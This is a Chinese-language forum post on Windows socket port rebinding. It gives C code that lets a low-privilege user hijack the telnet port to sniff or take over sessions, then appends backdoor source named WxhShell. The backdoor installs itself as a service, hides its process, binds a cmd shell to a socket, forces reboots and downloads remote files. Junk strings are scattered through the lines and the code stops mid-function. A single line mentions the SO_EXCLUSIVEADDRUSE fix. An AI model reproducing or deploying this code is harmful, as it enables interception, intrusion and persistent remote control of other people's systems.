在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l1X&Nw1W s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-V
Rby p4k*vuu> saddr.sin_family = AF_INET;
VGLE5lP X (h NSzG\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}nrl2yp:% wgm?lfX< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mT8")J|2 :Gyv%>. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^P&)2m:s Z!Y ^iN 这意味着什么?意味着可以进行如下的攻击:
pgK) Xne{:!btw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-3 } +we3BE. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p9*#{~ b"-eQb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p #:.,; ps:|YR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
v#EXlpS =i jGB~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(/J$2V5- 86J7%;^Xa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E}S)uI,gn I 2JE@? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?(Dk{-:T' ^:Vwblv( #include
tWkD@w`Lnn #include
cX$ Pq #include
# [c`]v #include
;IX3w:Aw DWORD WINAPI ClientThread(LPVOID lpParam);
SWujj,-[ int main()
p"Ki$.Y {
]HoQ6R\E b WORD wVersionRequested;
o
g.LD7&/ DWORD ret;
Fwn4c4-% WSADATA wsaData;
{9wBb`.n^ BOOL val;
#8.%YG SOCKADDR_IN saddr;
Pyc/6~? SOCKADDR_IN scaddr;
I~lX53D int err;
]m0MbA SOCKET s;
bg$df 0 SOCKET sc;
>SA?lG8f% int caddsize;
E]PHO\f-m} HANDLE mt;
't3/< h< DWORD tid;
- P+( =U wVersionRequested = MAKEWORD( 2, 2 );
YnZV.&4{ err = WSAStartup( wVersionRequested, &wsaData );
!@E=\Sm8EV if ( err != 0 ) {
x|/zn<\^ printf("error!WSAStartup failed!\n");
?A7&SdJaO return -1;
p;av63i }
"y@B| saddr.sin_family = AF_INET;
|sWH!:]49 ,]e!OZ[$m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/M>8ad 3^kZydZCN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7<&CN0& saddr.sin_port = htons(23);
^7Q}W#jy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lUXxpv1m {
U[9`:aV; printf("error!socket failed!\n");
aagN-/mgm return -1;
Cs$wgm* }
=VkbymIZ4y val = TRUE;
OZdiM&Zss //SO_REUSEADDR选项就是可以实现端口重绑定的
h@$M.h@mcG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@;m7u {
/YYI
4 printf("error!setsockopt failed!\n");
x6A*vP0nm) return -1;
2T!pFcc }
e=KA|"vxh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ajF-T=5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$<c0Z6f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(xffU%C^ |eIEqq.Eb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9W$FX {
\`?l6'! ret=GetLastError();
=\7o@ 38 printf("error!bind failed!\n");
-~Kw~RX<( return -1;
X-Y:)UT }
0sW=;R2 listen(s,2);
&d]%b`EXq while(1)
H3T4v1o6 {
N(0G!sTI caddsize = sizeof(scaddr);
L{xCsJ3d //接受连接请求
}9[E+8L1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@K`2y'#b if(sc!=INVALID_SOCKET)
GD?4/HkF {
]dB6-- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Jvt| q5 if(mt==NULL)
L2Ynv4llm {
7r#U^d( printf("Thread Creat Failed!\n");
-AcLh0pc break;
0?525^ }
@O b$w1c }
F)KUup)gc CloseHandle(mt);
9u";%5 4 }
E! ;giPq*n closesocket(s);
Iy8>9m'5 WSACleanup();
3B:U>F,]4 return 0;
!P7&{I,e }
, Z*Fo: q DWORD WINAPI ClientThread(LPVOID lpParam)
o|lEF+ {
[eI{vH{ SOCKET ss = (SOCKET)lpParam;
D4%5T>^LW[ SOCKET sc;
h?[3{Z ^ unsigned char buf[4096];
JgXP2|Y ! SOCKADDR_IN saddr;
[r%WVf.#d long num;
qCg`"/0 DWORD val;
E,,)?^ g DWORD ret;
tW;?4}JR
//如果是隐藏端口应用的话,可以在此处加一些判断
\"B oTi'2! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Vrl)[st!;I saddr.sin_family = AF_INET;
;pu68N(B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C=L_@{^Rgb saddr.sin_port = htons(23);
=E@wi? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-.=q6N4 {
rjfcZ@ printf("error!socket failed!\n");
Dpp3]en. return -1;
1SoKnfz{6 }
L<bZVocOb_ val = 100;
Onoi ^MDy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NQzpgf|h {
=qH9<,p`H ret = GetLastError();
|5|^[v return -1;
^LgaMmz }
X6s6fu; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a-\\A[E {
"5*n(S{ks ret = GetLastError();
p?S:J`q return -1;
e R"XXF0u }
|r*btyOJk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
FT'_{e!M {
vq yR aaMf printf("error!socket connect failed!\n");
S'~Zlv3` closesocket(sc);
~_v?M%5i closesocket(ss);
|&vQ1o|} return -1;
| _/D-m* }
[V'3/#Z while(1)
tpw0j
CVu {
iR
j/Tm*T' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a86m?)-c //如果是嗅探内容的话,可以再此处进行内容分析和记录
FtbqZN[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
csZIBi num = recv(ss,buf,4096,0);
j.O7-t%C if(num>0)
T;D`=p# send(sc,buf,num,0);
5m2(7FC%su else if(num==0)
WK5~"aw break;
g7!P| num = recv(sc,buf,4096,0);
JF7n|o-`? if(num>0)
;!U`GN,tH send(ss,buf,num,0);
z^=.05jB else if(num==0)
O H~X~n-Z break;
udxLHs }
J{8_4s!Xt> closesocket(ss);
Rt!G:hy7 closesocket(sc);
.])ubK_9 return 0 ;
gIrVrAV# }
{6Tw+/`P X51pRP $R 7MIu-x| ==========================================================
!%b.k6%>w Yjxa=CD 下边附上一个代码,,WXhSHELL
R~u0! DArEIt6Q ==========================================================
G4g<PFx K%9PIqK?4 #include "stdafx.h"
AnVj
'3 jG=*\lK6 #include <stdio.h>
A[L+w9 #include <string.h>
pC,MiV$c" #include <windows.h>
"-JJ6Bk #include <winsock2.h>
pnin;;D* #include <winsvc.h>
\zA$|)
x #include <urlmon.h>
k]FP1\Y t6p}LNm(V #pragma comment (lib, "Ws2_32.lib")
Di{T3~fqU #pragma comment (lib, "urlmon.lib")
6b+\2-eq cQEK>aAd #define MAX_USER 100 // 最大客户端连接数
AP.WTFf #define BUF_SOCK 200 // sock buffer
%0 (,f #define KEY_BUFF 255 // 输入 buffer
j~!0n[F w :2@@)pr #define REBOOT 0 // 重启
Sd?:+\bS; #define SHUTDOWN 1 // 关机
\M^L'Mkj {`fhcEC #define DEF_PORT 5000 // 监听端口
i-!Z/,oL sxM0c #define REG_LEN 16 // 注册表键长度
]F5?>du@~ #define SVC_LEN 80 // NT服务名长度
U085qKyCw +T:F :X` // 从dll定义API
'9cShe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\IY)2C<e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T'.U?G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5sui*WH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7m0sF<P{g YGrmco?G // wxhshell配置信息
I12WOL q struct WSCFG {
P6w!r>?6N int ws_port; // 监听端口
?,e7v.b char ws_passstr[REG_LEN]; // 口令
c"R`7P int ws_autoins; // 安装标记, 1=yes 0=no
eaP,MkK& char ws_regname[REG_LEN]; // 注册表键名
N}x\Ll char ws_svcname[REG_LEN]; // 服务名
}8cL+JJU char ws_svcdisp[SVC_LEN]; // 服务显示名
m@o/ W char ws_svcdesc[SVC_LEN]; // 服务描述信息
<;\T
e4g[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N'_,VB int ws_downexe; // 下载执行标记, 1=yes 0=no
[ 9)9>- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
X8l[B{| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{IEc{y7?gO NN1d?cOn };
e$>.x<
Eq %lPAq // default Wxhshell configuration
b0PqP<{ t struct WSCFG wscfg={DEF_PORT,
tcOgF: "xuhuanlingzhe",
Q" BIk
= 1,
8
PI>Q "Wxhshell",
kQ4-W9u "Wxhshell",
%g7 !4 "WxhShell Service",
9`4mvK/@ "Wrsky Windows CmdShell Service",
H@0i}!U64 "Please Input Your Password: ",
qk~ ni8 1,
JmB7tRM8 "
http://www.wrsky.com/wxhshell.exe",
mmP>Ji "Wxhshell.exe"
`` (D01< };
0/?V _ o>x*_4[ // 消息定义模块
@czNiWU"4; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.Ymoh>JRL char *msg_ws_prompt="\n\r? for help\n\r#>";
+')\,m "z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Sz4YPl char *msg_ws_ext="\n\rExit.";
)70-q yA char *msg_ws_end="\n\rQuit.";
I]N?}]uZ char *msg_ws_boot="\n\rReboot...";
$ ;cZq char *msg_ws_poff="\n\rShutdown...";
Ut4cli&cC char *msg_ws_down="\n\rSave to ";
VS0
&[bl l6ayV char *msg_ws_err="\n\rErr!";
B3[;}8u> char *msg_ws_ok="\n\rOK!";
PR?Ls{}p\ %rVC3} char ExeFile[MAX_PATH];
Up?w>ly int nUser = 0;
d5&avL\ HANDLE handles[MAX_USER];
z
zL@3/<j int OsIsNt;
A&_H%]{<: zr%2oFeX, SERVICE_STATUS serviceStatus;
In)8AK(Hw SERVICE_STATUS_HANDLE hServiceStatusHandle;
}MBxfZ 4I FbB^$ ]* // 函数声明
h-u63b1"? int Install(void);
m~"<k d int Uninstall(void);
cLl=?^DB int DownloadFile(char *sURL, SOCKET wsh);
K#q1/2 int Boot(int flag);
_j t>%v4}4 void HideProc(void);
5X>b(` int GetOsVer(void);
V+My]9ki int Wxhshell(SOCKET wsl);
t.|b285e void TalkWithClient(void *cs);
M.|O+K z int CmdShell(SOCKET sock);
71`)@y,Z, int StartFromService(void);
@q0\oG4L int StartWxhshell(LPSTR lpCmdLine);
p^PAbCP'|3 lA}(63j+b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0NlC|5ma) VOID WINAPI NTServiceHandler( DWORD fdwControl );
LAqmM3{fA @Bs7kjuX // 数据结构和表定义
F|\^O[#R SERVICE_TABLE_ENTRY DispatchTable[] =
x*GGO)r
{
nxH+XHv {wscfg.ws_svcname, NTServiceMain},
TZ8:3ti {NULL, NULL}
Y?G9d6]Lk6 };
"&(.Z ( S*,DX~vig // 自我安装
ST'M<G%4E int Install(void)
`j+aAxJ=\ {
Wt=QCutt char svExeFile[MAX_PATH];
WK;X6` HKEY key;
?v8.3EE1\o strcpy(svExeFile,ExeFile);
nojJGeW% :D(4HXHK% // 如果是win9x系统,修改注册表设为自启动
le1 if(!OsIsNt) {
4^h_n1A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4%#Y)zo.e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Cx(|ZD^ RegCloseKey(key);
"%$jl0i_c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B3 f Kb#T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!DgN@P.o RegCloseKey(key);
o%dKi] return 0;
D"kss5>w }
#6O<!{PH6 }
1#rcxUSi }
&&Ruy(&]I else {
.}'49=c yH}(0 // 如果是NT以上系统,安装为系统服务
t){})nZ/4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dqd:V$o if (schSCManager!=0)
z|,YO6(L {
LLp/ SWe SC_HANDLE schService = CreateService
2JY]$$K7 (
]o}g~Xn schSCManager,
:E
]Ys wscfg.ws_svcname,
epw*Px wscfg.ws_svcdisp,
8nCw1 SERVICE_ALL_ACCESS,
J^t-p U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UQZ<sp4v; SERVICE_AUTO_START,
CJ+/j=i;~c SERVICE_ERROR_NORMAL,
mO];+=3v8 svExeFile,
39
D!e& NULL,
(bpO>4(S NULL,
CG@3z@*?. NULL,
5P=3.Mk NULL,
OU2.d7 NULL
i=Nq`BoQf );
&sh5|5EC if (schService!=0)
-!d'!;
] {
^d2#J CloseServiceHandle(schService);
_:(RkS!x CloseServiceHandle(schSCManager);
-!_f-Nny strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qfJi[8". strcat(svExeFile,wscfg.ws_svcname);
./SDZ:5/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\VQv
"wid RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PeD>mCvL" RegCloseKey(key);
J+hiz3N return 0;
04;E^,V }
4yOYw*X }
(>~:1 CloseServiceHandle(schSCManager);
`" BFvF# }
s2SxMFDP }
q [}<LU u@ MUcW return 1;
b$7p`Ay }
eBUexxBY S87E$k // 自我卸载
DxuT23.
( int Uninstall(void)
QT\||0V~p {
'mwgHo<u HKEY key;
Q,pnh!.-c "==fWf if(!OsIsNt) {
=rL%P~0wq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W4MU^``
RegDeleteValue(key,wscfg.ws_regname);
I8ZBs0sfF{ RegCloseKey(key);
zG
IxmJ. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ANIx0*Yl( RegDeleteValue(key,wscfg.ws_regname);
Ax"]+pb RegCloseKey(key);
q!L@9&KAQ return 0;
Jd]kg,/ }
pl#2JA8 }
tVI6GXH }
244[a]
%&; else {
> nHaMj sd5%S zx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
??Lda=' if (schSCManager!=0)
4F[4H\>' {
7'IcgTWDZy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_E\Cm if (schService!=0)
V{A_\ {
<b
JF&, if(DeleteService(schService)!=0) {
:mYVHLmea CloseServiceHandle(schService);
c{"=p8F_ CloseServiceHandle(schSCManager);
azK7kM~ return 0;
?nf !sJ'm }
io&FW!J. CloseServiceHandle(schService);
JxP&znng }
fBj-R~;0 CloseServiceHandle(schSCManager);
%P8*Az&]T }
+ *xi&|% }
=1MVF H18.)yHX return 1;
LyR bD$m }
"O}u2B b ;?h+8Z/{ // 从指定url下载文件
K*!qt(D& int DownloadFile(char *sURL, SOCKET wsh)
`;~A {
QsemN7B"< HRESULT hr;
*F:)S"3_~e char seps[]= "/";
u~pBMg
, char *token;
\iP=V3 char *file;
NIo!WOi char myURL[MAX_PATH];
Uf}u`"$F char myFILE[MAX_PATH];
0jJ:WPR L'?7~Cdls strcpy(myURL,sURL);
n0a|GZyO] token=strtok(myURL,seps);
!"d"3coQ? while(token!=NULL)
SH1S_EQ< {
FF5|qCV/z file=token;
IGnP#@`5] token=strtok(NULL,seps);
5 eLm }
|KMwK
png 1m~-q4D)V GetCurrentDirectory(MAX_PATH,myFILE);
W9D~:>^YP strcat(myFILE, "\\");
<5 )F9.$ strcat(myFILE, file);
$-i(xnU/nl send(wsh,myFILE,strlen(myFILE),0);
drwD3jx0xv send(wsh,"...",3,0);
6*&$ha}X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4 (c{%% if(hr==S_OK)
m[}@\y return 0;
-F$v`|(O+ else
B?nw([4m return 1;
Fp&tJ]=B. UdOO+Z_K% }
>vPv4e7&3 _
?o>i/ // 系统电源模块
g)mjw int Boot(int flag)
:<P3fW {
2MU$OI0| HANDLE hToken;
\1ncr4 TOKEN_PRIVILEGES tkp;
BjyV&1tRV! $Ph#pM( if(OsIsNt) {
6 h%,% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Tlm::S
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Fks #Y1rI tkp.PrivilegeCount = 1;
JP,yRb\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}?)U`zF)7} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p]eVby" if(flag==REBOOT) {
@|PUet_pb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cj\?vX\V return 0;
Ul<:Yt&nI }
Y|!m else {
"wR1=&gk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yz<$?Gblz return 0;
=5;tB }
=E
w<s5C@ }
Qv
WvS9] else {
Q?2GwN if(flag==REBOOT) {
HcQ)XJPK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$
~Ks!8'P return 0;
3}}8ukq }
6_L<&RmLg else {
-A,UqEt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
u[E0jI return 0;
/# d^ }
9$#@Oe8* }
Itz[%Dbiq9 YuUJgt .1 return 1;
~p`[z~| }
|ju+{+ <Uy $b4h // win9x进程隐藏模块
M%YxhuT0 void HideProc(void)
eiQ42x@Z {
n-u
HKBq $ ~%w21?& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2~l +2.. if ( hKernel != NULL )
xOx=Z\ c {
/Un\P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
- -\eYVh[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qjsEyro$- FreeLibrary(hKernel);
" ?Ux\)* }
y(wb?86#W5 _;,"!'R`f return;
Iw4[D#o }
I|l5e2j 9vP#/ -g // 获取操作系统版本
'=`af>Nc int GetOsVer(void)
-(},%!-_ {
}9V0Cu1 OSVERSIONINFO winfo;
^WrL
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kX2Z@
w` GetVersionEx(&winfo);
yAFt|< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;\(LovUy6 return 1;
1QPz|3f@\ else
i#aKW' return 0;
^#t6/fY.# }
"A*;V n?>|2> // 客户端句柄模块
/:v}Ni"6nF int Wxhshell(SOCKET wsl)
&]tm'N25 {
3+\Zom4 SOCKET wsh;
Z*b$&nM struct sockaddr_in client;
<G0Ut6J> DWORD myID;
Z2 Vri `An p;el while(nUser<MAX_USER)
!+z&] S3s {
D~FIv int nSize=sizeof(client);
Y>T<Qn^D wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
::_bEmk if(wsh==INVALID_SOCKET) return 1;
J/QqwoR
2tg 07 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QnJLTBv if(handles[nUser]==0)
kRr/x-" closesocket(wsh);
}KYOde@ else
di(H-=9G62 nUser++;
r0@s3/ }
xSqr=^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
*&tTiv{^ N,Js8Z" return 0;
G?, "AA; }
!*3]PZ25a( H|$
*HQm // 关闭 socket
GO.7IL{{ void CloseIt(SOCKET wsh)
KG4zjQf {
vw$b]MO! closesocket(wsh);
nly}ly Q/ nUser--;
9f/l" ExitThread(0);
Z&4L/// }
w5yX~8UzJ 0|]d^bo // 客户端请求句柄
LqXVi80 void TalkWithClient(void *cs)
3<l}gB'S[ {
K,6{c^qf v0TbQ SOCKET wsh=(SOCKET)cs;
>oN Wf char pwd[SVC_LEN];
}]M'f:%b char cmd[KEY_BUFF];
\=P(?!v char chr[1];
V(XZ7<& { int i,j;
^G 'n
z "[rz*[o8I while (nUser < MAX_USER) {
&grvlK E,dUO; if(wscfg.ws_passstr) {
#?`S+YN!q) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_#Lq~02 % //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]t~'wL#Z //ZeroMemory(pwd,KEY_BUFF);
Mnk-"d i=0;
#|3,DZ|)F while(i<SVC_LEN) {
f~,Ml*Zp \D};0#G0& // 设置超时
ei>iXDt fd_set FdRead;
zC*dJXt@ struct timeval TimeOut;
DAg* FD_ZERO(&FdRead);
orYZ<,u FD_SET(wsh,&FdRead);
U<r!G;^` TimeOut.tv_sec=8;
=.OzpV)=V TimeOut.tv_usec=0;
K}MlC}oIt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|3~]XN- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+6}CNC9Mp >|`1aCg, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:P
]D`b6p pwd
=chr[0]; H}lz_#Z
if(chr[0]==0xd || chr[0]==0xa) { Tm9sQ7Oj(
pwd=0; ?`xm_udc
break; zk!7TUZ">w
} %"=GQ 3u[
i++; o~W,VhCP
} GY %$7
@4Zkkjc4b
// 如果是非法用户,关闭 socket 6xAxLZz<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jse!EtB:
} (`_fP.Ogb
u.G aMl4 (
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FhPCFmmUT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p-lFzNPc0
]d~{8h!G
while(1) { '/9q7?[E!
;;m;f^]}
ZeroMemory(cmd,KEY_BUFF); DSWmQQ
?Ok&,\F@E
// 自动支持客户端 telnet标准 4\nGWi{2
j=0; `8tstWYa]Y
while(j<KEY_BUFF) { y<wd~!>Ubu
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *0?@/2&
cmd[j]=chr[0]; bo@
?`5
if(chr[0]==0xa || chr[0]==0xd) { Jh<s '&FR
cmd[j]=0; OSLZ7B^
break; ^ fyue~9u
} ,KD?kSIf
j++; X$@qs9?)^
} Ryygq,>VD.
)FmIL(vu
// 下载文件 @H3x51PT(m
if(strstr(cmd,"http://")) { 2`%a[t@M.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hg:$H9\%
if(DownloadFile(cmd,wsh)) eX lJ=S}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e ky1}
else $TS97'$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Y?Y@x"MZ
} QSn18V>{
else { x]`@%8Sm
9:GP~oI j
switch(cmd[0]) { wr=KAsH<
hF5T9^8
// 帮助 {~j/sto-:
case '?': { Ww\ WuaY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }N ).$
break; AaoS &q
} NQ;$V:s)
// 安装 )''V}Zn.X
case 'i': { EaHJl
if(Install()) uFb
9Ic]`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]c6_DMfb1
else $o;c:Kh$$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^V)$ME
break; '-J<ib
t
} r:g_mMvB
// 卸载 zUNUH^Il
case 'r': { _h1eW9q
if(Uninstall()) nHH
FHnFf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9$U4x|n
else ggitUQ+t;G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H~mp*S
break; [~RO9=;L
} _uL[
Z
// 显示 wxhshell 所在路径 5~T+d1md
case 'p': { >Yk|(!v
char svExeFile[MAX_PATH]; ?Yf
v^DQ5
strcpy(svExeFile,"\n\r"); 1E'PSq
strcat(svExeFile,ExeFile); .pdcwd9
send(wsh,svExeFile,strlen(svExeFile),0); 5XzsqeG|
break; A+frKoi
} ZZHzC+O#^
// 重启 Iz'Et'w8!
case 'b': { sKsMF:|OT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @iXBy:@
if(Boot(REBOOT)) a
j$& 9][
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q-F$Ryj^
else { *h=>*t?I2
closesocket(wsh); q86}'dFw{
ExitThread(0); z$}9f*W}B
} zK1]o-wSAT
break; I1l^0@J
} H?M:<q0|G
// 关机 HwZl"!;Mry
case 'd': { HC1<zW[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nCp_RJu
if(Boot(SHUTDOWN)) e57R6g)4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|?)^;R5!
else { ]W4{|%@H"
closesocket(wsh); _x3=i\O,
ExitThread(0); ^);M}~
} %n8CK->
break; 6OAEAIh
} B:0oT
// 获取shell aPK:k$.
case 's': { :8@eon}
CmdShell(wsh); frDMFEXXP
closesocket(wsh); <y~Ba@1u
ExitThread(0); :).NA
]
break; ,Wu$@jD/]
} ceD6q~)
// 退出 <_Z.fdUA
case 'x': { ={
-kQq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 44B D2`nF
CloseIt(wsh); XqUQ{^;aI
break; XksI .]tfj
} v_pe=LC{-e
// 离开 n}e%c B
case 'q': { Im!b-1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @>.aQE
closesocket(wsh); !L
q'o?
WSACleanup(); "\`Fu
exit(1); c}|.U
break; z~tdLtcX
} "aI)LlyCY
} i>[xN[U(
} M*D_pn&
Tp{jR<
// 提示信息 8!3 q:8y8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OHj>ufwVq
} ZI qXkD
} *{j;LA.BR#
67&Q<`V1*q
return; DNqV]N_W
} )V>zXy}Y
~n) |
// shell模块句柄 GD
d'{qE6
int CmdShell(SOCKET sock) |6DJ5VFzD
{ , %8)I("
STARTUPINFO si; p{W
Amly
ZeroMemory(&si,sizeof(si)); Vn:v{-i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7][fciZN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rr\9HA
PROCESS_INFORMATION ProcessInfo; ;-Os~81o?
char cmdline[]="cmd"; 2-N7%]h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mwsBj)
return 0; NIQ}+xpC
} ZsXw]Wa
("j;VqYUL
// 自身启动模式 5lP8#O?=
int StartFromService(void) N~IAm:G}[
{ 9+@z:j
